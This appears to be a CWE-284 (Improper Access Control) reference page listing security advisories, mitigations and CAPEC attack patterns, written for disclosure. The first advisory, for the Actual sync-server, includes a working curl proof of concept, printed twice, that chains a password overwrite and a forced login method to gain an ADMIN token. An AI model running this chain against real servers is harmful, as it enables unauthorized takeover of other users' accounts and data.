Common Weakness Enumeration

CWE-284

Discouraged

Improper Access Control

Abstraction: Pillar · Status: Incomplete

API response cwe.mitre.org

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

7802 vulnerabilities reference this CWE, most recent first.

GHSA-PRP4-2F49-FCGP

Vulnerability from github – Published: 2026-04-23 21:23 – Updated: 2026-04-27 16:35

Summary

Actual has Privilege Escalation via 'change-password' Endpoint on OpenID-Migrated Servers

Details

Summary

Any authenticated user (including BASIC role) can escalate to ADMIN on servers migrated from password authentication to OpenID Connect. Three weaknesses combine: POST /account/change-password has no authorization check, allowing any session to overwrite the password hash; the inactive password auth row is never removed on migration; and the login endpoint accepts a client-supplied loginMethod that bypasses the server's active auth configuration. Together these allow an attacker to set a known password and authenticate as the anonymous admin account created during the multiuser migration.

Details

packages/sync-server/src/app-account.js:120-132 — the /account/change-password route validates only that a session exists. No admin role check is performed

app.post('/change-password', (req, res) => {
  const session = validateSession(req, res); // only checks token validity
  if (!session) return;
  const { error } = changePassword(req.body.password); // no isAdmin() check

packages/sync-server/src/accounts/password.js:113-125 — changePassword() updates the hash with no current-password confirmation:

export function changePassword(newPassword) {
  accountDb.mutate("UPDATE auth SET extra_data = ? WHERE method = 'password'", [hashed]);
}

packages/sync-server/src/accounts/password.js:56-62 — loginWithPassword() always authenticates as the user with user_name = '', which is created by the multiuser migration with role = 'ADMIN':

const sessionRow = accountDb.first(
  'SELECT * FROM sessions WHERE auth_method = ?', ['password']
);

packages/sync-server/src/account-db.js:56-63 — a client can force the password login method regardless of server configuration by sending loginMethod in the request body:

if (req.body.loginMethod && config.get('allowedLoginMethods').includes(req.body.loginMethod)) {
  return req.body.loginMethod;
}

When a server is migrated from password → OpenID via enableOpenID(), the password row is set to active = 0 but never deleted, leaving it available for exploitation.

PoC

Prerequisites: Server originally bootstrapped with password auth, then switched to OpenID. Default allowedLoginMethods configuration (includes password). Attacker has any valid OpenID session token (any role).

# Step 1 — overwrite the password hash using a BASIC-role session
curl -s -X POST https://<host>/account/change-password \
  -H "Content-Type: application/json" \
  -H "X-Actual-Token: <any_valid_session_token>" \
  -d '{"password": "attacker123"}'
# → {"status":"ok","data":{}}

# Step 2 — log in via password method to obtain an ADMIN session
curl -s -X POST https://<host>/account/login \
  -H "Content-Type: application/json" \
  -d '{"loginMethod": "password", "password": "attacker123"}'
# → {"status":"ok","data":{"token":"<admin_token>"}}

The returned token belongs to the user_name = '' admin account (created by 1719409568000-multiuser.js).

Verify admin access:

curl -s https://<host>/account/validate \
  -H "X-Actual-Token: <admin_token>"
# → {"status":"ok","data":{"permission":"ADMIN", ...}}

Impact

Privilege escalation — any authenticated user can gain full ADMIN access on affected deployments. An ADMIN can manage all users, access all budget files regardless of ownership, modify file access controls, and change server configuration.

Affected deployments: multi-user servers running OpenID Connect that were previously configured with password authentication. Servers bootstrapped exclusively with OpenID from initial setup are not affected (no password row exists in the auth table).

Recommendations

1. Restrict POST /account/change-password to password-authenticated sessions only (packages/sync-server/src/app-account.js)

The endpoint should reject requests from sessions that were authenticated via OpenID. The active auth method can be checked against the session's auth_method field or by querying the auth table for the currently active method. If the server is running in OpenID mode, this endpoint should return 403 Forbidden.

2. Require current-password confirmation before accepting a new password (packages/sync-server/src/accounts/password.js)

changePassword() should accept the current password as a parameter and verify it against the stored hash before applying the update. This prevents any session (even a legitimate password session) from silently overwriting the credential without proving possession of the existing one.

3. Enforce active status and remove client control over login method selection (packages/sync-server/src/account-db.js — getLoginMethod())

Two issues exist in getLoginMethod(): (a) a client can supply loginMethod in the request body to select any method listed in allowedLoginMethods, regardless of whether it is currently active on the server; (b) the function does not check the active column, so an administratively disabled method (e.g. password after migrating to OpenID) remains accessible. The fix is to determine the permitted method server-side from WHERE active = 1 in the auth table and ignore any client-supplied loginMethod override entirely. Servers intentionally running both methods simultaneously can be supported by allowing multiple active = 1 rows rather than relying on client input.

4. Immediate mitigation for existing deployments (OpenID-only servers)

Administrators who have fully migrated to OpenID and do not need password auth can remove the orphaned row:

DELETE FROM auth WHERE method = 'password';

The three weaknesses form a single, sequential exploit chain — none produces privilege escalation on its own:

Missing authorization on POST /change-password — allows overwriting a password hash, but only matters if there is an orphaned row to target. Orphaned password row persisting after migration — provides the target row, but is harmless without the ability to authenticate using it. Client-controlled loginMethod: "password" — allows forcing password-based auth, but is useless without a known hash established by step 1.

All three must be chained in sequence to achieve the impact. No single weakness independently results in privilege escalation, which under CVE CNA rule 4.1.2 means they should not each be treated as standalone vulnerabilities. The single root cause is the missing authorization check on /change-password; the other two are preconditions that make it exploitable. A single CVE reflecting that root cause is the appropriate representation — splitting them would falsely imply each carries independent risk.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@actual-app/sync-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33318"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-23T21:23:38Z",
    "nvd_published_at": "2026-04-24T03:16:11Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAny authenticated user (including `BASIC` role) can escalate to `ADMIN` on servers migrated from password authentication to OpenID Connect. Three weaknesses combine: `POST /account/change-password` has no authorization check, allowing any session to overwrite the password hash; the inactive password `auth` row is never removed on migration; and the login endpoint accepts a client-supplied `loginMethod` that bypasses the server\u0027s active auth configuration. Together these allow an attacker to set a known password and authenticate as the anonymous admin account created during the multiuser migration.\n\n---\n\n### Details\n\n**`packages/sync-server/src/app-account.js:120-132`** \u2014 the `/account/change-password` route validates only that a session exists. No admin role check is performed\n\n```js\napp.post(\u0027/change-password\u0027, (req, res) =\u003e {\n  const session = validateSession(req, res); // only checks token validity\n  if (!session) return;\n  const { error } = changePassword(req.body.password); // no isAdmin() check\n```\n\n**`packages/sync-server/src/accounts/password.js:113-125`** \u2014 `changePassword()` updates the hash with no current-password confirmation:\n\n```js\nexport function changePassword(newPassword) {\n  accountDb.mutate(\"UPDATE auth SET extra_data = ? WHERE method = \u0027password\u0027\", [hashed]);\n}\n```\n\n**`packages/sync-server/src/accounts/password.js:56-62`** \u2014 `loginWithPassword()` always authenticates as the user with `user_name = \u0027\u0027`, which is created by the multiuser migration with `role = \u0027ADMIN\u0027`:\n\n```js\nconst sessionRow = accountDb.first(\n  \u0027SELECT * FROM sessions WHERE auth_method = ?\u0027, [\u0027password\u0027]\n);\n```\n\n**`packages/sync-server/src/account-db.js:56-63`** \u2014 a client can force the `password` login method regardless of server configuration by sending `loginMethod` in the request body:\n\n```js\nif (req.body.loginMethod \u0026\u0026 config.get(\u0027allowedLoginMethods\u0027).includes(req.body.loginMethod)) {\n  return req.body.loginMethod;\n}\n```\n\nWhen a server is migrated from password \u2192 OpenID via `enableOpenID()`, the password row is set to `active = 0` but **never deleted**, leaving it available for exploitation.\n\n---\n\n### PoC\n\n**Prerequisites:** Server originally bootstrapped with password auth, then switched to OpenID. Default `allowedLoginMethods` configuration (includes `password`). Attacker has any valid OpenID session token (any role).\n\n```bash\n# Step 1 \u2014 overwrite the password hash using a BASIC-role session\ncurl -s -X POST https://\u003chost\u003e/account/change-password \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-Actual-Token: \u003cany_valid_session_token\u003e\" \\\n  -d \u0027{\"password\": \"attacker123\"}\u0027\n# \u2192 {\"status\":\"ok\",\"data\":{}}\n\n# Step 2 \u2014 log in via password method to obtain an ADMIN session\ncurl -s -X POST https://\u003chost\u003e/account/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"loginMethod\": \"password\", \"password\": \"attacker123\"}\u0027\n# \u2192 {\"status\":\"ok\",\"data\":{\"token\":\"\u003cadmin_token\u003e\"}}\n```\n\nThe returned token belongs to the `user_name = \u0027\u0027` admin account (created by `1719409568000-multiuser.js`).\n\nVerify admin access:\n```bash\ncurl -s https://\u003chost\u003e/account/validate \\\n  -H \"X-Actual-Token: \u003cadmin_token\u003e\"\n# \u2192 {\"status\":\"ok\",\"data\":{\"permission\":\"ADMIN\", ...}}\n```\n\n---\n\n### Impact\n\n**Privilege escalation** \u2014 any authenticated user can gain full `ADMIN` access on affected deployments. An ADMIN can manage all users, access all budget files regardless of ownership, modify file access controls, and change server configuration.\n\nAffected deployments: multi-user servers running OpenID Connect that were previously configured with password authentication. Servers bootstrapped exclusively with OpenID from initial setup are not affected (no password row exists in the `auth` table).\n\n---\n\n### Recommendations\n\n**1. Restrict `POST /account/change-password` to password-authenticated sessions only**\n(`packages/sync-server/src/app-account.js`)\n\nThe endpoint should reject requests from sessions that were authenticated via OpenID. The active auth method can be checked against the session\u0027s `auth_method` field or by querying the `auth` table for the currently active method. If the server is running in OpenID mode, this endpoint should return `403 Forbidden`.\n\n**2. Require current-password confirmation before accepting a new password**\n(`packages/sync-server/src/accounts/password.js`)\n\n`changePassword()` should accept the current password as a parameter and verify it against the stored hash before applying the update. This prevents any session (even a legitimate password session) from silently overwriting the credential without proving possession of the existing one.\n\n**3. Enforce `active` status and remove client control over login method selection**\n(`packages/sync-server/src/account-db.js` \u2014 `getLoginMethod()`)\n\nTwo issues exist in `getLoginMethod()`: (a) a client can supply `loginMethod` in the request body to select any method listed in `allowedLoginMethods`, regardless of whether it is currently active on the server; (b) the function does not check the `active` column, so an administratively disabled method (e.g. `password` after migrating to OpenID) remains accessible. The fix is to determine the permitted method server-side from `WHERE active = 1` in the `auth` table and ignore any client-supplied `loginMethod` override entirely. Servers intentionally running both methods simultaneously can be supported by allowing multiple `active = 1` rows rather than relying on client input.\n\n**4. Immediate mitigation for existing deployments (OpenID-only servers)**\n\nAdministrators who have fully migrated to OpenID and do not need password auth can remove the orphaned row:\n\n```sql\nDELETE FROM auth WHERE method = \u0027password\u0027;\n```\n\n####\n\nThe three weaknesses form a single, sequential exploit chain \u2014 none produces privilege escalation on its own:\n\nMissing authorization on POST /change-password \u2014 allows overwriting a password hash, but only matters if there is an orphaned row to target.\nOrphaned password row persisting after migration \u2014 provides the target row, but is harmless without the ability to authenticate using it.\nClient-controlled loginMethod: \"password\" \u2014 allows forcing password-based auth, but is useless without a known hash established by step 1.\n\nAll three must be chained in sequence to achieve the impact. No single weakness independently results in privilege escalation, which under CVE CNA rule 4.1.2 means they should not each be treated as standalone vulnerabilities.\nThe single root cause is the missing authorization check on /change-password; the other two are preconditions that make it exploitable. A single CVE reflecting that root cause is the appropriate representation \u2014 splitting them would falsely imply each carries independent risk.",
  "id": "GHSA-prp4-2f49-fcgp",
  "modified": "2026-04-27T16:35:53Z",
  "published": "2026-04-23T21:23:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/actualbudget/actual/security/advisories/GHSA-prp4-2f49-fcgp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33318"
    },
    {
      "type": "WEB",
      "url": "https://actualbudget.org/blog/release-26.4.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/actualbudget/actual"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Actual has Privilege Escalation via \u0027change-password\u0027 Endpoint on OpenID-Migrated Servers"
}

GHSA-PRQC-5H4F-38X5

Vulnerability from github – Published: 2025-06-26 21:31 – Updated: 2025-06-26 21:31

Details

Mikrotik RouterOS VXLAN Source IP Improper Access Control Vulnerability. This vulnerability allows remote attackers to bypass access restrictions on affected installations of Mikrotik RouterOS. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the handling of remote IP addresses when processing VXLAN traffic. The issue results from the lack of validation of the remote IP address against configured values prior to allowing ingress traffic into the internal network. An attacker can leverage this vulnerability to gain access to internal network resources. Was ZDI-CAN-26415.

Severity

7.2 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-6443"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-25T22:15:20Z",
    "severity": "HIGH"
  },
  "details": "Mikrotik RouterOS VXLAN Source IP Improper Access Control Vulnerability. This vulnerability allows remote attackers to bypass access restrictions on affected installations of Mikrotik RouterOS. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of remote IP addresses when processing VXLAN traffic. The issue results from the lack of validation of the remote IP address against configured values prior to allowing ingress traffic into the internal network. An attacker can leverage this vulnerability to gain access to internal network resources. Was ZDI-CAN-26415.",
  "id": "GHSA-prqc-5h4f-38x5",
  "modified": "2025-06-26T21:31:14Z",
  "published": "2025-06-26T21:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6443"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-424"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PRRF-X94W-F3V8

Vulnerability from github – Published: 2022-05-17 03:57 – Updated: 2022-05-17 03:57

Details

IAB.exe in Rockwell Automation Integrated Architecture Builder (IAB) before 9.6.0.8 and 9.7.x before 9.7.0.2 allows remote attackers to execute arbitrary code via a crafted project file.

Severity

6.3 (Medium)


                  
                    CVSS:3.0/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2016-2277"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-04-06T23:59:00Z",
    "severity": "MODERATE"
  },
  "details": "IAB.exe in Rockwell Automation Integrated Architecture Builder (IAB) before 9.6.0.8 and 9.7.x before 9.7.0.2 allows remote attackers to execute arbitrary code via a crafted project file.",
  "id": "GHSA-prrf-x94w-f3v8",
  "modified": "2022-05-17T03:57:26Z",
  "published": "2022-05-17T03:57:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-2277"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-056-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PRRH-679X-79QH

Vulnerability from github – Published: 2022-05-13 01:12 – Updated: 2024-01-22 17:08

Summary

Moodle allows remote authenticated users to reassign notes

Details

notes/edit.php in Moodle 1.9.x through 1.9.19, 2.x through 2.1.10, 2.2.x before 2.2.8, 2.3.x before 2.3.5, and 2.4.x before 2.4.2 allows remote authenticated users to reassign notes via a modified (1) userid or (2) courseid field.

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.0"
            },
            {
              "fixed": "2.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2013-1834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-22T17:08:52Z",
    "nvd_published_at": "2013-03-25T21:55:00Z",
    "severity": "MODERATE"
  },
  "details": "notes/edit.php in Moodle 1.9.x through 1.9.19, 2.x through 2.1.10, 2.2.x before 2.2.8, 2.3.x before 2.3.5, and 2.4.x before 2.4.2 allows remote authenticated users to reassign notes via a modified (1) userid or (2) courseid field.",
  "id": "GHSA-prrh-679x-79qh",
  "modified": "2024-01-22T17:08:52Z",
  "published": "2022-05-13T01:12:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-1834"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moodle/moodle/commit/1b628c489def6e7394821f53a838591aa392e332"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moodle/moodle/commit/646059869e36ea1db844ee0884fb50020348dab1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moodle/moodle/commit/6a9235c998dab2ec0ddc49898a59dd5089156cb0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moodle/moodle/commit/a28da5d9b8221e53d3a0815fd0a1dc27bd48816b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moodle/moodle/commit/bc144ebbe0a78a1ac854454246f26472ba0748b7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moodle/moodle/commit/e13f286026056febba20e931d71134a2d145a091"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moodle/moodle/commit/ebfdc35f2a33f14051e22af5410485fe6f1afc92"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/moodle/moodle"
    },
    {
      "type": "WEB",
      "url": "https://moodle.org/mod/forum/discuss.php?d=225346"
    },
    {
      "type": "WEB",
      "url": "http://git.moodle.org/gw?p=moodle.git\u0026a=search\u0026h=HEAD\u0026st=commit\u0026s=MDL-37411"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-April/101310.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-April/101358.html"
    },
    {
      "type": "WEB",
      "url": "http://openwall.com/lists/oss-security/2013/03/25/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Moodle allows remote authenticated users to reassign notes"
}

GHSA-PRW8-RHP7-5HW3

Vulnerability from github – Published: 2025-08-26 00:31 – Updated: 2025-08-26 00:31

Details

DASAN GPON ONU H660WM H660WMR210825 is susceptible to improper access control under its default settings. Attackers can exploit this vulnerability to gain unauthorized access to sensitive information and modify its configuration via the UPnP protocol WAN sides without any authentication.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-44178"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-25T15:15:39Z",
    "severity": "MODERATE"
  },
  "details": "DASAN GPON ONU H660WM H660WMR210825 is susceptible to improper access control under its default settings. Attackers can exploit this vulnerability to gain unauthorized access to sensitive information and modify its configuration via the UPnP protocol WAN sides without any authentication.",
  "id": "GHSA-prw8-rhp7-5hw3",
  "modified": "2025-08-26T00:31:13Z",
  "published": "2025-08-26T00:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-44178"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/stevenyu113228/a1fab78fa34a86f7416aa2aa33284fd1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PRWC-88G4-4762

Vulnerability from github – Published: 2025-10-15 21:31 – Updated: 2025-10-15 21:31

Details

A logic issue was addressed with improved restrictions. This issue is fixed in macOS Ventura 13.7.7, macOS Sonoma 14.7.7, macOS Sequoia 15.6. An app may be able to access sensitive user data.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-43313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-15T20:15:35Z",
    "severity": "MODERATE"
  },
  "details": "A logic issue was addressed with improved restrictions. This issue is fixed in macOS Ventura 13.7.7, macOS Sonoma 14.7.7, macOS Sequoia 15.6. An app may be able to access sensitive user data.",
  "id": "GHSA-prwc-88g4-4762",
  "modified": "2025-10-15T21:31:40Z",
  "published": "2025-10-15T21:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43313"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/124149"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/124150"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/124151"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PRWG-RHFJ-26J7

Vulnerability from github – Published: 2024-02-28 09:30 – Updated: 2026-04-08 18:32

Details

The Envo's Elementor Templates & Widgets for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the templates_ajax_request function in all versions up to, and including, 1.4.4. This makes it possible for subscribers and higher to create templates.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2024-0766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-28T09:15:41Z",
    "severity": "MODERATE"
  },
  "details": "The Envo\u0027s Elementor Templates \u0026 Widgets for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the templates_ajax_request function in all versions up to, and including, 1.4.4. This makes it possible for subscribers and higher to create templates.",
  "id": "GHSA-prwg-rhfj-26j7",
  "modified": "2026-04-08T18:32:36Z",
  "published": "2024-02-28T09:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0766"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/envo-elementor-for-woocommerce/trunk/includes/admin/include/template-library.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3041303/envo-elementor-for-woocommerce/trunk/includes/admin/include/template-library.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/996c7433-dd82-4216-86b9-005f43c06c3a?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PV6X-3VGC-WPHQ

Vulnerability from github – Published: 2025-04-22 18:32 – Updated: 2025-04-22 21:30

Details

Codemers KLIMS 1.6.DEV lacks a proper access control mechanism, allowing a normal KLIMS user to perform all the actions that an admin can perform, such as modifying the configuration, creating a user, uploading files, etc.

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

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{
  "affected": [],
  "aliases": [
    "CVE-2025-43947"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-22T18:16:01Z",
    "severity": "HIGH"
  },
  "details": "Codemers KLIMS 1.6.DEV lacks a proper access control mechanism, allowing a normal KLIMS user to perform all the actions that an admin can perform, such as modifying the configuration, creating a user, uploading files, etc.",
  "id": "GHSA-pv6x-3vgc-wphq",
  "modified": "2025-04-22T21:30:44Z",
  "published": "2025-04-22T18:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43947"
    },
    {
      "type": "WEB",
      "url": "https://de.linkedin.com/company/codemers"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Henkel-CyberVM/CVEs/tree/main/CVE-2025-43947"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PV89-6RHC-RJPX

Vulnerability from github – Published: 2023-08-11 03:30 – Updated: 2024-04-04 06:51

Details

Improper access control in some Intel(R) NUC BIOS firmware may allow a privileged user to potentially enable denial of service via local access.

Severity

6.0 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2023-32285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-11T03:15:31Z",
    "severity": "MODERATE"
  },
  "details": "Improper access control in some Intel(R) NUC BIOS firmware may allow a privileged user to potentially enable denial of service via local access.",
  "id": "GHSA-pv89-6rhc-rjpx",
  "modified": "2024-04-04T06:51:27Z",
  "published": "2023-08-11T03:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32285"
    },
    {
      "type": "WEB",
      "url": "http://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00917.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PV8H-P384-HHR9

Vulnerability from github – Published: 2023-05-23 06:30 – Updated: 2023-05-23 06:30

Details

Improper Access Control in GitHub repository cloudexplorer-dev/cloudexplorer-lite prior to v1.1.0.

Severity

8.8 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2023-2845"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-23T05:15:08Z",
    "severity": "HIGH"
  },
  "details": "Improper Access Control in GitHub repository cloudexplorer-dev/cloudexplorer-lite prior to v1.1.0.",
  "id": "GHSA-pv8h-p384-hhr9",
  "modified": "2023-05-23T06:30:36Z",
  "published": "2023-05-23T06:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2845"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudexplorer-dev/cloudexplorer-lite/commit/d9f55a44e579d312977b02317b2020de758b763a"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/ac10e81c-998e-4425-9d74-b985d9b0254c"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-1

Architecture and Design Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Mitigation MIT-46

Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CAPEC-19: Embedding Scripts within Scripts

An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.

CAPEC-441: Malicious Logic Insertion

An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.

CAPEC-478: Modification of Windows Service Configuration

An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.

CAPEC-479: Malicious Root Certificate

An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.

CAPEC-502: Intent Spoof

